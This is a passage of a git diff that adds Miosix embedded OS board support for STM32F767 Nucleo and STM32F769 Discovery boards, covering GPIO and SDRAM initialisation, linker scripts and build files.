+#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f76x,f77x RCC synchronization is required per the reference manual +//(RM0410 section 5.2.12). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 109, so there are 110 +#define MIOSIX_NUM_PERIPHERAL_IRQ 110 diff --git a/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..2e79c0005 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,128 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" + +#include +#include + +#include + +#include "board_settings.h" +#include "miosix_settings.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "filesystem/console/console_device.h" +#include "filesystem/file_access.h" +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "kernel/thread.h" +#include "kernel/logging.h" +#include "kernel/sync.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + // Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + + // Default to 50MHz speed for all GPIOS + GPIOA->OSPEEDR = 0xaaaaaaaa; + GPIOB->OSPEEDR = 0xaaaaaaaa; + GPIOC->OSPEEDR = 0xaaaaaaaa; + GPIOD->OSPEEDR = 0xaaaaaaaa; + GPIOE->OSPEEDR = 0xaaaaaaaa; + GPIOF->OSPEEDR = 0xaaaaaaaa; + GPIOH->OSPEEDR = 0xaaaaaaaa; + + userLed1::mode(Mode::OUTPUT); + userLed2::mode(Mode::OUTPUT); + userLed3::mode(Mode::OUTPUT); + userBtn::mode(Mode::INPUT); + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..5203d3453 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,99 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*************************************************************************** + * bsp_impl.h Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ***************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Board pin definition + */ +typedef Gpio userLed1; +typedef Gpio userLed2; +typedef Gpio userLed3; +typedef Gpio userBtn; + +inline void ledOn() +{ + userLed1::high(); + userLed2::high(); + userLed3::high(); +} + +inline void ledOff() +{ + userLed1::low(); + userLed2::low(); + userLed3::low(); +} + +inline void led1On() { userLed1::high(); } + +inline void led1Off() { userLed1::low(); } + +inline void led2On() { userLed2::high(); } + +inline void led2Off() { userLed2::low(); } + +inline void led3On() { userLed3::high(); } + +inline void led3Off() { userLed3::low(); } + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} // namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f767zi_nucleo/processes.ld b/miosix/arch/board/stm32f767zi_nucleo/processes.ld new file mode 100644 index 000000000..87fb88223 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/processes.ld @@ -0,0 +1,26 @@ +/* + * Linker script for stm32f767 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 320K; + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram(wx) : ORIGIN = 0x20020000, LENGTH = 384K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f767zi_nucleo/unikernel.ld b/miosix/arch/board/stm32f767zi_nucleo/unikernel.ld new file mode 100644 index 000000000..aacbf3504 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/unikernel.ld @@ -0,0 +1,22 @@ +/* + * Linker script for stm32f767 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram(wx) : ORIGIN = 0x20020000, LENGTH = 384K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f769ni_discovery/CMakeLists.txt b/miosix/arch/board/stm32f769ni_discovery/CMakeLists.txt new file mode 100644 index 000000000..a4fa993d7 --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/CMakeLists.txt @@ -0,0 +1,45 @@ +## +## CMakeLists.txt for board stm32f769ni_discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f7) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+dp/hard) + +# The stm32f769 has the double precision FPU, so we will build for m7 +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # Option 1: IRQ stack in TCM SRAM, everything else in 16MB XRAM + unikernel-xram.ld -D__ENABLE_XRAM + # Option 2: kernel in internal SRAM, process pool in 16MB XRAM + processes-xram.ld -DWITH_PROCESSES -D__ENABLE_XRAM + # Option 3: everything in SRAM, XRAM not used + unikernel.ld + # Option 4: everything in SRAM+process pool, XRAM not used + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F769NI_DISCO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F769NI_DISCO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f769ni_discovery/Makefile.inc b/miosix/arch/board/stm32f769ni_discovery/Makefile.inc new file mode 100644 index 000000000..0cdbc1bbc --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f769ni_discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f7 + +## The stm32f769 has the double precision FPU, so we will build for m7 +CPU_FLAGS := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F769NI_DISCO +BOARD_CXXFLAGS := -D_BOARD_STM32F769NI_DISCO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f769ni_discovery/boot.cpp b/miosix/arch/board/stm32f769ni_discovery/boot.cpp new file mode 100644 index 000000000..26a13a06c --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/boot.cpp @@ -0,0 +1,48 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/bsp.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the clock initialization process. + SystemInit(); + + // ST does not provide code to initialize the SDRAM at boot. + // Put after SystemInit() as SDRAM is timing-sensitive and needs the full + // clock speed. + #ifdef __ENABLE_XRAM + miosix::configureSdram(); + #endif //__ENABLE_XRAM +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..cb86194b0 --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,26 @@ +#pragma once + +// stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +// includes core_cm7.h. Do not include core_cm7.h before. +#define STM32F769xx +#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f76x,f77x RCC synchronization is required per the reference manual +//(RM0410 section 5.2.12). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 109, so there are 110 +#define MIOSIX_NUM_PERIPHERAL_IRQ 110 diff --git a/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..214b4b59e --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,299 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" + +#include +#include + +#include + +#include "board_settings.h" +#include "miosix_settings.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "filesystem/console/console_device.h" +#include "filesystem/file_access.h" +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "kernel/thread.h" +#include "kernel/logging.h" +#include "kernel/sync.h" + +namespace miosix { + +// +// Initialization +// + +static void sdramCommandWait() +{ + for(int i=0;i<0xffff;i++) + if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) + return; +} + +void configureSdram() +{ + // Enable all gpios, passing clock + RCC->AHB1ENR |= + RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | RCC_AHB1ENR_GPIOCEN | + RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | RCC_AHB1ENR_GPIOIEN | + RCC_AHB1ENR_GPIOJEN | RCC_AHB1ENR_GPIOKEN; + RCC_SYNC(); + + // On the Discovery F769NI, the SDRAM pins are: + // - PG8: FMC_SDCLK + // - PH2: FMC_SDCKE0 + // - PH3: FMC_SDNE0 + // - PF0: FMC_A0 + // - PF1: FMC_A1 + // - PF2: FMC_A2 + // - PF3: FMC_A3 + // - PF4: FMC_A4 + // - PF5: FMC_A5 + // - PF12: FMC_A6 + // - PF13: FMC_A7 + // - PF14: FMC_A8 + // - PF15: FMC_A9 + // - PG0: FMC_A10 + // - PG1: FMC_A11 + // - PG2: FMC_A12 + // - PD14: FMC_D0 + // - PD15: FMC_D1 + // - PD0: FMC_D2 + // - PD1: FMC_D3 + // - PE7: FMC_D4 + // - PE8: FMC_D5 + // - PE9: FMC_D6 + // - PE10: FMC_D7 + // - PE11: FMC_D8 + // - PE12: FMC_D9 + // - PE13: FMC_D10 + // - PE14: FMC_D11 + // - PE15: FMC_D12 + // - PD8: FMC_D13 + // - PD9: FMC_D14 + // - PD10: FMC_D15 + // - PH8: FMC_D16 + // - PH9: FMC_D17 + // - PH10: FMC_D18 + // - PH11: FMC_D19 + // - PH12: FMC_D20 + // - PH13: FMC_D21 + // - PH14: FMC_D22 + // - PH15: FMC_D23 + // - PI0: FMC_D24 + // - PI1: FMC_D25 + // - PI2: FMC_D26 + // - PI3: FMC_D27 + // - PI6: FMC_D28 + // - PI7: FMC_D29 + // - PI9: FMC_D30 + // - PI10: FMC_D31 + // - PG4: FMC_BA0 + // - PG5: FMC_BA1 + // - PF11: FMC_SDNRAS + // - PG15: FMC_SDNCAS + // - PH5: FMC_SDNWE + // - PE0: FMC_NBL0 + // - PE1: FMC_NBL1 + // - PI4: FMC_NBL2 + // - PI5: FMC_NBL3 + + // All SDRAM GPIOs needs to be configured with alternate function 12 and + // maximum speed + + // Alternate functions + GPIOD->AFR[0] = 0x000000cc; + GPIOD->AFR[1] = 0xcc000ccc; + GPIOE->AFR[0] = 0xc00000cc; + GPIOE->AFR[1] = 0xcccccccc; + GPIOF->AFR[0] = 0x00cccccc; + GPIOF->AFR[1] = 0xccccc000; + GPIOG->AFR[0] = 0x00cc0ccc; + GPIOG->AFR[1] = 0xc000000c; + GPIOH->AFR[0] = 0x00c0cc00; + GPIOH->AFR[1] = 0xcccccccc; + GPIOI->AFR[0] = 0xcccccccc; + GPIOI->AFR[1] = 0x00000cc0; + + // Mode + GPIOD->MODER = 0xa02a000a; + GPIOE->MODER = 0xaaaa800a; + GPIOF->MODER = 0xaa800aaa; + GPIOG->MODER = 0x80020a2a; + GPIOH->MODER = 0xaaaa08a0; + GPIOI->MODER = 0x0028aaaa; + + // Speed (high speed for all, very high speed for SDRAM pins) + GPIOA->OSPEEDR = 0xaaaaaaaa; + GPIOB->OSPEEDR = 0xaaaaaaaa; + GPIOC->OSPEEDR = 0xaaaaaaaa; + GPIOD->OSPEEDR = 0xaaaaaaaa | 0xf03f000f; + GPIOE->OSPEEDR = 0xaaaaaaaa | 0xffffc00f; + GPIOF->OSPEEDR = 0xaaaaaaaa | 0xffc00fff; + GPIOG->OSPEEDR = 0xaaaaaaaa | 0xc0030f3f; + GPIOH->OSPEEDR = 0xaaaaaaaa | 0xffff0cf0; + GPIOI->OSPEEDR = 0xaaaaaaaa | 0x003cffff; + GPIOJ->OSPEEDR = 0xaaaaaaaa; + GPIOK->OSPEEDR = 0xaaaaaaaa; + + // Enable the SDRAM controller clock + RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + + // The SDRAM is a IS42S32400F-6BL + // HCLK = 216MHz -> SDRAM clock = HCLK/2 = 133MHz + + // 1. Memory device features + FMC_Bank5_6->SDCR[0] = 0 // 0 delay after CAS latency + | FMC_SDCR1_RBURST // Enable read bursts + | FMC_SDCR1_SDCLK_1 // SDCLK = HCLK / 2 + | 0 // Write accesses allowed + | FMC_SDCR1_CAS_1 // 2 cycles CAS latency + | FMC_SDCR1_NB // 4 internal banks + | FMC_SDCR1_MWID_1 // 32 bit data bus + | FMC_SDCR1_NR_0 // 12 bit row address + | 0; // 8 bit column address + + // 2. Memory device timings + static_assert(cpuFrequency==216000000,"No SDRAM timings for this clock"); + // SDRAM timings. One clock cycle is 9.26ns + FMC_Bank5_6->SDTR[0] = + (2 - 1) << FMC_SDTR1_TRCD_Pos // 2 cycles TRCD (18.52ns > 18ns) + | (2 - 1) << FMC_SDTR1_TRP_Pos // 2 cycles TRP (18.52ns > 18ns) + | (2 - 1) << FMC_SDTR1_TWR_Pos // 2 cycles TWR (18.52ns > 12ns) + | (7 - 1) << FMC_SDTR1_TRC_Pos // 7 cycles TRC (64.82ns > 60ns) + | (5 - 1) << FMC_SDTR1_TRAS_Pos // 5 cycles TRAS (46.3ns > 42ns) + | (8 - 1) << FMC_SDTR1_TXSR_Pos // 8 cycles TXSR (74.08ns > 70ns) + | (2 - 1) << FMC_SDTR1_TMRD_Pos; // 2 cycles TMRD (18.52ns > 12ns) + + // 3. Enable the bank 1 clock + FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_0 // Clock Configuration Enable + | FMC_SDCMR_CTB1; // Bank 1 + sdramCommandWait(); + + // 4. Wait during command execution + delayUs(100); + + // 5. Issue a "Precharge All" command + FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_1 // Precharge all + | FMC_SDCMR_CTB1; // Bank 1 + sdramCommandWait(); + + // 6. Issue Auto-Refresh commands + FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_1 | FMC_SDCMR_MODE_0 // Auto-Refresh + | FMC_SDCMR_CTB1 // Bank 1 + | (8 - 1) << FMC_SDCMR_NRFS_Pos; // 2 Auto-Refresh + sdramCommandWait(); + + // 7. Issue a Load Mode Register command + FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_2 /// Load mode register + | FMC_SDCMR_CTB1 // Bank 1 + | 0x220 << FMC_SDCMR_MRD_Pos; // CAS = 2, burst = 1 + sdramCommandWait(); + + // 8. Program the refresh rate (4K / 64ms) + // 64ms / 4096 = 15.625us + // 15.625us * 108MHz = 1687 - 20 = 1667 + FMC_Bank5_6->SDRTR = 1667 << FMC_SDRTR_COUNT_Pos; +} + +void IRQbspInit() +{ + //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here + #ifndef __ENABLE_XRAM + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | + RCC_AHB1ENR_GPIOIEN | RCC_AHB1ENR_GPIOJEN; + RCC_SYNC(); + #endif //__ENABLE_XRAM + + userLed1::mode(Mode::OUTPUT); + userLed2::mode(Mode::OUTPUT); + userLed3::mode(Mode::OUTPUT); + userBtn::mode(Mode::INPUT); + sdCardDetect::mode(Mode::INPUT); + + ledOn(); + delayMs(100); + ledOff(); + + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif // WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO, IOCTL_SYNC, 0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif // WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO, IOCTL_SYNC, 0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif // WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..9dcf3b03e --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,107 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*************************************************************************** + * bsp_impl.h Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ***************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss + * Requires the CPU clock to be already configured (running from the PLL) + */ +void configureSdram(); + +/** + * \internal + * Board pin definition + */ +typedef Gpio userLed1; +typedef Gpio userLed2; +typedef Gpio userLed3; +typedef Gpio userBtn; +typedef Gpio sdCardDetect; + +inline void ledOn() +{ + userLed1::high(); + userLed2::high(); + userLed3::high(); +} + +inline void ledOff() +{ + userLed1::low(); + userLed2::low(); + userLed3::low(); +} + +inline void led1On() { userLed1::high(); } + +inline void led1Off() { userLed1::low(); } + +inline void led2On() { userLed2::high(); } + +inline void led2Off() { userLed2::low(); } + +inline void led3On() { userLed3::high(); } + +inline void led3Off() { userLed3::low(); } + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return sdCardDetect::value() == 0; } + +/** +\} +*/ + +} // namespace miosix + +#endif // BSP_IMPL_H diff --git a/miosix/arch/board/stm32f769ni_discovery/processes-xram.ld b/miosix/arch/board/stm32f769ni_discovery/processes-xram.ld new file mode 100644 index 000000000..b50b31652 --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/processes-xram.ld @@ -0,0 +1,31 @@ +/* + * Linker script for stm32f769 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* NOTE: _process_pool_size cannot be defined as all of ram2 is used */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram1(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram1(wx) : ORIGIN = 0x20020000, LENGTH = 384K + ram2(wx) : ORIGIN = 0xc0000000, LENGTH = 16M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f769ni_discovery/processes.ld b/miosix/arch/board/stm32f769ni_discovery/processes.ld new file mode 100644 index 000000000..f2dccf404 --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/processes.ld @@ -0,0 +1,26 @@ +/* + * Linker script for stm32f769 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * 